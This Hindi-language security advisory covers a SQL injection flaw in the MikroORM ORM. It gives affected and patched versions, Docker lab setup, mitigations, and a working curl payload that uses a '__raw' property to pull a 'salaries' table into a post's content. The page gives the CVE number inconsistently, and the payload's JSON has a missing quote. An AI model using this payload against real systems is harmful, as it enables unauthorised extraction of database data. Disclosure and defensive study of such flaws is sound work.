अपडेट पर वापस जाएँ
UpdatedSep 2, 2026

CVE-2026-34220 — Updated!

MikroORM में SQL Injection भेद्यता

साझा करें

CVE-2026-43220 MikroORM SQL इंजेक्शन

★ CVE-2026-43220 MikroORM SQL इंजेक्शन PoC ★

https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1


अवलोकन

CVE-2026-43220 MikroORM में एक SQL इंजेक्शन कमजोरी है, जो एक व्यापक रूप से उपयोग किया जाने वाला TypeScript/Node.js ORM फ्रेमवर्क है।
जब __raw प्रॉपर्टी वाला उपयोगकर्ता-प्रदत्त मान बिना सत्यापन के Custom Type कॉलम को पास किया जाता है, तो MikroORM का isRaw() चेक उसे एक विश्वसनीय आंतरिक Raw SQL एक्सप्रेशन के रूप में पहचानता है और हमलावर-नियंत्रित sql मान को बिना किसी प्रकार रूपांतरण या सैनिटाइज़ेशन के सीधे जनरेट किए गए क्वेरी में सम्मिलित कर देता है, जिससे मनमाने SQL का अनपेक्षित निष्पादन होता है।


प्रभावित संस्करण

श्रेणीसंस्करण
कमजोरMikroORM संस्करण ≤ 6.4.3 और 7.0.0 ≤ संस्करण ≤ 7.0.5
पैच किया गयाMikroORM 6.4.4 और 7.0.6

प्रभाव

  • बिना प्राधिकरण के डेटाबेस से संवेदनशील डेटा का निष्कासन
  • मौजूदा डेटाबेस रिकॉर्ड का भ्रष्टाचार या अनपेक्षित संशोधन

वातावरण

docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln

PoC

कमजोर वातावरण शुरू करने के बाद, हमले को पुनः उत्पन्न करने के लिए नीचे दिए गए चरणों का पालन करें।

चरण 1. __raw वाला दुर्भावनापूर्ण पेलोड भेजें

एक JSON बॉडी भेजें जिसमें Custom Type कॉलम को लक्षित करने वाली __raw प्रॉपर्टी शामिल हो।

curl -X POST http://localhost:3000/write \
  -H "Content-Type: application/json" \
  -d '{
    "author":"x",
    "title":"x,
    "content": {
      "__raw": true,
      "sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
    }
  }'

चरण 2. HTTP प्रतिक्रिया जांचें

सत्यापित करें कि API बिना किसी त्रुटि के सफल प्रतिक्रिया लौटाता है, जो दर्शाता है कि MikroORM ने दुर्भावनापूर्ण पेलोड को एक वैध मान के रूप में स्वीकार कर लिया।

चरण 3. पुष्टि करें कि संवेदनशील डेटा पोस्ट सामग्री में निष्कासित किया गया है

सत्यापित करें कि बनाए गए पोस्ट का content फ़ील्ड salaries तालिका से क्वेरी परिणाम (जैसे, Alice: 5000 / Bob: 7000 / ...) शामिल करता है, जो पुष्टि करता है कि किसी असंबंधित तालिका से डेटा बिना किसी त्रुटि या एक्सेस नियंत्रण उल्लंघन के चुपचाप प्रतिक्रिया में एम्बेड कर दिया गया है।


शमन

  • MikroORM 6.4.4 या बाद के संस्करण में अपग्रेड करें, जो isRaw() में origin सत्यापन प्रस्तुत करता है ताकि बाहरी रूप से प्रदत्त __raw प्रॉपर्टीज़ को अस्वीकार किया जा सके
  • ORM परत को मान पास करने से पहले __raw जैसी अप्रत्याशित प्रॉपर्टीज़ को अस्वीकार करने के लिए व्हाइटलिस्ट-आधारित इनपुट सत्यापन लागू करें

विश्लेषण

श्रेणियाँ